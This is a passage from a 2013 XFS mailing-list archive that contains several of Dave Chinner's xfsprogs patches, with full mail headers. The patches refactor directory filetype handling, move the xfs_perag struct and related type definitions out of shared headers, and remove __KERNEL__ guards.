@@ xfs_dir2_sf_lookup( if (args->namelen == 1 && args->name[0] == '.') { args->inumber = dp->i_ino; args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -817,6 +823,7 @@ xfs_dir2_sf_lookup( args->name[0] == '.' && args->name[1] == '.') { args->inumber = xfs_dir2_sf_get_parent_ino(sfp); args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -836,6 +843,8 @@ xfs_dir2_sf_lookup( args->cmpresult = cmp; args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep); + args->filetype = xfs_dir3_sfe_get_ftype(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -1035,6 +1044,8 @@ xfs_dir2_sf_replace( #endif xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, + args->filetype); break; } } @@ -1101,10 +1112,12 @@ xfs_dir2_sf_toino4( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino4(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1142,13 +1155,15 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1176,10 +1191,12 @@ xfs_dir2_sf_toino8( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino8(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1217,13 +1234,15 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E94F29E57 for ; Wed, 4 Sep 2013 17:21:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7F32A304039 for ; Wed, 4 Sep 2013 15:21:37 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0008-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7C5qEp9vc1kD4oF5 for ; Wed, 04 Sep 2013 15:21:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaUBAOiJIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dL-Aq for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uP-9q for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 40/55] xfs: make struct xfs_perag kernel only Date: Thu, 5 Sep 2013 08:05:44 +1000 X-ASG-Orig-Subj: [PATCH 40/55] xfs: make struct xfs_perag kernel only Message-Id: <1378332359-14737-41-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333295 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The struct xfs_perag has many kernel-only definitions in it, requiring a __KERNEL__ guard so userspace can use it to. Move it to xfs_mount.h so that it it kernel-only, and let userspace redefine it's own version of the structure containing only what it needs. This gets rid of another __KERNEL__ check in the XFS header files. Signed-off-by: Dave Chinner --- include/libxfs.h | 31 +++++++++++++++++++++++++++++++ include/xfs_ag.h | 53 ----------------------------------------------------- 2 files changed, 31 insertions(+), 53 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 09d9015..086cb39 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -218,6 +218,37 @@ typedef struct xfs_mount { xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ } xfs_mount_t; +/* + * Per-ag incore structure, copies of information in agf and agi, + * to improve the performance of allocation group selection. + */ +typedef struct xfs_perag { + struct xfs_mount *pag_mount; /* owner filesystem */ + xfs_agnumber_t pag_agno; /* AG this structure belongs to */ + atomic_t pag_ref; /* perag reference count */ + char pagf_init; /* this agf's entry is initialized */ + char pagi_init; /* this agi's entry is initialized */ + char pagf_metadata; /* the agf is preferred to be metadata */ + char pagi_inodeok; /* The agi is ok for inodes */ + __uint8_t pagf_levels[XFS_BTNUM_AGF]; + /* # of levels in bno & cnt btree */ + __uint32_t pagf_flcount; /* count of blocks in freelist */ + xfs_extlen_t pagf_freeblks; /* total free blocks */ + xfs_extlen_t pagf_longest; /* longest free space */ + __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ + xfs_agino_t pagi_freecount; /* number of free inodes */ + xfs_agino_t pagi_count; /* number of allocated inodes */ + + /* + * Inode allocation search lookup optimisation. + * If the pagino matches, the search for new inodes + * doesn't need to search the near ones again straight away + */ + xfs_agino_t pagl_pagino; + xfs_agino_t pagl_leftrec; + xfs_agino_t pagl_rightrec; + int pagb_count; /* pagb slots in use */ +} xfs_perag_t; #define LIBXFS_MOUNT_ROOTINOS 0x0001 #define LIBXFS_MOUNT_DEBUGGER 0x0002 diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 317aa86..1cb740a 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -227,59 +227,6 @@ typedef struct xfs_agfl { } xfs_agfl_t; /* - * Per-ag incore structure, copies of information in agf and agi, - * to improve the performance of allocation group selection. - */ -#define XFS_PAGB_NUM_SLOTS 128 - -typedef struct xfs_perag { - struct xfs_mount *pag_mount; /* owner filesystem */ - xfs_agnumber_t pag_agno; /* AG this structure belongs to */ - atomic_t pag_ref; /* perag reference count */ - char pagf_init; /* this agf's entry is initialized */ - char pagi_init; /* this agi's entry is initialized */ - char pagf_metadata; /* the agf is preferred to be metadata */ - char pagi_inodeok; /* The agi is ok for inodes */ - __uint8_t pagf_levels[XFS_BTNUM_AGF]; - /* # of levels in bno & cnt btree */ - __uint32_t pagf_flcount; /* count of blocks in freelist */ - xfs_extlen_t pagf_freeblks; /* total free blocks */ - xfs_extlen_t pagf_longest; /* longest free space */ - __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ - xfs_agino_t pagi_freecount; /* number of free inodes */ - xfs_agino_t pagi_count; /* number of allocated inodes */ - - /* - * Inode allocation search lookup optimisation. - * If the pagino matches, the search for new inodes - * doesn't need to search the near ones again straight away - */ - xfs_agino_t pagl_pagino; - xfs_agino_t pagl_leftrec; - xfs_agino_t pagl_rightrec; -#ifdef __KERNEL__ - spinlock_t pagb_lock; /* lock for pagb_tree */ - struct rb_root pagb_tree; /* ordered tree of busy extents */ - - atomic_t pagf_fstrms; /* # of filestreams active in this AG */ - - spinlock_t pag_ici_lock; /* incore inode cache lock */ - struct radix_tree_root pag_ici_root; /* incore inode cache root */ - int pag_ici_reclaimable; /* reclaimable inodes */ - struct mutex pag_ici_reclaim_lock; /* serialisation point */ - unsigned long pag_ici_reclaim_cursor; /* reclaim restart point */ - - /* buffer cache index */ - spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ - struct rb_root pag_buf_tree; /* ordered tree of active buffers */ - - /* for rcu-safe freeing */ - struct rcu_head rcu_head; -#endif - int pagb_count; /* pagb slots in use */ -} xfs_perag_t; - -/* * tags for inode radix tree */ #define XFS_ICI_NO_TAG (-1) /* special flag for an untagged lookup -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 03E967F53 for ; Wed, 4 Sep 2013 17:21:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E871C304039 for ; Wed, 4 Sep 2013 15:21:37 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000a-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id IQgMSxv6qGsbqs0a for ; Wed, 04 Sep 2013 15:21:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaPfYQHA6IkhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007e0-6f for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003u1-66 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 36/55] xfs: kill __KERNEL__ check for debug code in allocation code Date: Thu, 5 Sep 2013 08:05:40 +1000 X-ASG-Orig-Subj: [PATCH 36/55] xfs: kill __KERNEL__ check for debug code in allocation code Message-Id: <1378332359-14737-37-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333296 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Userspace running debug builds is relatively rare, so there's need to special case the allocation algorithm code coverage debug switch. As it is, userspace defines random numbers to 0, so invert the logic of the switch so it is effectively a no-op in userspace. This kills another couple of __KERNEL__ users. Signed-off-by: Dave Chinner --- libxfs/xfs_alloc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 757b43d..e4fb1ad 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -856,7 +856,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ int forced = 0; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Randomly don't execute the first algorithm. */ @@ -916,8 +916,8 @@ restart: xfs_extlen_t blen=0; xfs_agblock_t bnew=0; -#if defined(DEBUG) && defined(__KERNEL__) - if (!dofirst) +#ifdef DEBUG + if (dofirst) break; #endif /* -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 17E8829E61 for ; Wed, 4 Sep 2013 17:21:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9D694AC003 for ; Wed, 4 Sep 2013 15:21:37 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0008-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id RrxiAAOLOE52Z2EE for ; Wed, 04 Sep 2013 15:21:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaPfYQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:33 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dG-AN for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uI-8n for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 39/55] xfs: move kernel specific type definitions to xfs.h Date: Thu, 5 Sep 2013 08:05:43 +1000 X-ASG-Orig-Subj: [PATCH 39/55] xfs: move kernel specific type definitions to xfs.h Message-Id: <1378332359-14737-40-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333295 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_types.h is shared with userspace, so having kernel specific types defined in it is problematic. Move all the kernel specific defines to xfs_linux.h so we can remove the __KERNEL__ guards from xfs_types.h Signed-off-by: Dave Chinner --- include/xfs_types.h | 36 ------------------------------------ 1 file changed, 36 deletions(-) diff --git a/include/xfs_types.h b/include/xfs_types.h index 6ed6b26..ce44b18 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -18,42 +18,6 @@ #ifndef __XFS_TYPES_H__ #define __XFS_TYPES_H__ -#ifdef __KERNEL__ - -/* - * Additional type declarations for XFS - */ -typedef signed char __int8_t; -typedef unsigned char __uint8_t; -typedef signed short int __int16_t; -typedef unsigned short int __uint16_t; -typedef signed int __int32_t; -typedef unsigned int __uint32_t; -typedef signed long long int __int64_t; -typedef unsigned long long int __uint64_t; - -typedef __uint32_t inst_t; /* an instruction */ - -typedef __s64 xfs_off_t; /* type */ -typedef unsigned long long xfs_ino_t; /* type */ -typedef __s64 xfs_daddr_t; /* type */ -typedef char * xfs_caddr_t; /* type */ -typedef __u32 xfs_dev_t; -typedef __u32 xfs_nlink_t; - -/* __psint_t is the same size as a pointer */ -#if (BITS_PER_LONG == 32) -typedef __int32_t __psint_t; -typedef __uint32_t __psunsigned_t; -#elif (BITS_PER_LONG == 64) -typedef __int64_t __psint_t; -typedef __uint64_t __psunsigned_t; -#else -#error BITS_PER_LONG must be 32 or 64 -#endif - -#endif /* __KERNEL__ */ - typedef __uint32_t prid_t; /* project ID */ typedef __uint32_t xfs_agblock_t; /* blockno in alloc. group */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C103329DFC for ; Wed, 4 Sep 2013 17:21:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B1463304039 for ; Wed, 4 Sep 2013 15:21:39 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0009-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JrOzoYL6cDCMAnGZ for ; Wed, 04 Sep 2013 15:21:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jimFWwOpW4MyKoEt Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dv-56 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tm-4k for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 33/55] xfsprogs: sync minor kernel header differences Date: Thu, 5 Sep 2013 08:05:37 +1000 X-ASG-Orig-Subj: [PATCH 33/55] xfsprogs: sync minor kernel header differences Message-Id: <1378332359-14737-34-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333297 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are lots of little differences between kernel and userspace headers noticable now that the files are largely the same. Clean up all the formatting, whitespace and other minor differences in the userspace headers. Signed-off-by: Dave Chinner --- include/libxfs.h | 8 +++++--- include/xfs_ag.h | 2 +- include/xfs_alloc_btree.h | 3 +-- include/xfs_attr_remote.h | 28 +++++++++++----------------- include/xfs_bmap_btree.h | 3 +-- include/xfs_btree.h | 3 +-- include/xfs_dinode.h | 3 --- include/xfs_dir2.h | 11 +---------- include/xfs_dir2_format.h | 22 ++++++++++++++-------- include/xfs_fs.h | 26 +++++++++++++++----------- include/xfs_ialloc_btree.h | 3 +-- include/xfs_inode_buf.h | 1 - libxfs/xfs.h | 2 ++ 13 files changed, 53 insertions(+), 62 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 5422147..09d9015 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -46,7 +46,6 @@ #include #include #include -#include #include #include #include @@ -235,6 +234,11 @@ extern xfs_mount_t *libxfs_mount (xfs_mount_t *, xfs_sb_t *, extern void libxfs_umount (xfs_mount_t *); extern void libxfs_rtmount_destroy (xfs_mount_t *); +/* + * xfs/xfs_dir2_format.h needs struct xfs_mount to be defined + */ +#include +#include /* * Simple I/O interface @@ -611,8 +615,6 @@ extern int libxfs_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, uint, xfs_inode_t **, xfs_daddr_t); extern void libxfs_iput (xfs_inode_t *, uint); -#include - /* Shared utility routines */ extern unsigned int libxfs_log2_roundup(unsigned int i); diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 1e0fa34..317aa86 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -102,7 +102,7 @@ typedef struct xfs_agf { #define XFS_AGF_LONGEST 0x00000400 #define XFS_AGF_BTREEBLKS 0x00000800 #define XFS_AGF_UUID 0x00001000 -#define XFS_AGF_NUM_BITS 12 +#define XFS_AGF_NUM_BITS 13 #define XFS_AGF_ALL_BITS ((1 << XFS_AGF_NUM_BITS) - 1) #define XFS_AGF_FLAGS \ diff --git a/include/xfs_alloc_btree.h b/include/xfs_alloc_btree.h index e160339..e3a3f74 100644 --- a/include/xfs_alloc_btree.h +++ b/include/xfs_alloc_btree.h @@ -64,8 +64,7 @@ typedef __be32 xfs_alloc_ptr_t; */ #define XFS_ALLOC_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_SBLOCK_CRC_LEN : \ - XFS_BTREE_SBLOCK_LEN) + XFS_BTREE_SBLOCK_CRC_LEN : XFS_BTREE_SBLOCK_LEN) /* * Record, key, and pointer address macros for btree blocks. diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h index d087305..92a8fd7 100644 --- a/include/xfs_attr_remote.h +++ b/include/xfs_attr_remote.h @@ -1,25 +1,19 @@ /* * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2.1 of the GNU Lesser General Public License - * as published by the Free Software Foundation. + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU Lesser General Public - * License along with this program; if not, write the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, - * USA. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef __XFS_ATTR_REMOTE_H__ #define __XFS_ATTR_REMOTE_H__ diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index f1069bb..1b726d6 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -140,8 +140,7 @@ typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; */ #define XFS_BMBT_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_LBLOCK_CRC_LEN : \ - XFS_BTREE_LBLOCK_LEN) + XFS_BTREE_LBLOCK_CRC_LEN : XFS_BTREE_LBLOCK_LEN) #define XFS_BMBT_REC_ADDR(mp, block, index) \ ((xfs_bmbt_rec_t *) \ diff --git a/include/xfs_btree.h b/include/xfs_btree.h index c0acbbf..b55af99 100644 --- a/include/xfs_btree.h +++ b/include/xfs_btree.h @@ -93,7 +93,6 @@ struct xfs_btree_block { #define XFS_BTREE_LBLOCK_CRC_OFF \ offsetof(struct xfs_btree_block, bb_u.l.bb_crc) - /* * Generic key, ptr and record wrapper structures. * @@ -214,7 +213,7 @@ struct xfs_btree_ops { const struct xfs_buf_ops *buf_ops; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) /* check that k1 is lower than k2 */ int (*keys_inorder)(struct xfs_btree_cur *cur, union xfs_btree_key *k1, diff --git a/include/xfs_dinode.h b/include/xfs_dinode.h index f7a0e95..07d735a 100644 --- a/include/xfs_dinode.h +++ b/include/xfs_dinode.h @@ -132,9 +132,6 @@ typedef enum xfs_dinode_fmt { #define XFS_LITINO(mp, version) \ ((int)(((mp)->m_sb.sb_inodesize) - xfs_dinode_size(version))) -#define XFS_BROOT_SIZE_ADJ(ip) \ - (XFS_BMBT_BLOCK_LEN((ip)->i_mount) - sizeof(xfs_bmdr_block_t)) - /* * Inode data & attribute fork sizes, per inode. */ diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 75e8596..7fe2b8f 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -28,14 +28,6 @@ struct xfs_dir2_sf_entry; struct xfs_dir2_data_hdr; struct xfs_dir2_data_entry; struct xfs_dir2_data_unused; -struct xfs_dir2_data_free; - -typedef uint xfs_dir2_data_aoff_t; /* argument form */ - -/* - * Directory block number (logical dirblk in file) - */ -typedef __uint32_t xfs_dir2_db_t; extern struct xfs_name xfs_name_dotdot; @@ -71,7 +63,7 @@ extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); /* - * used by db + * Interface routines used by userspace utilities */ extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void 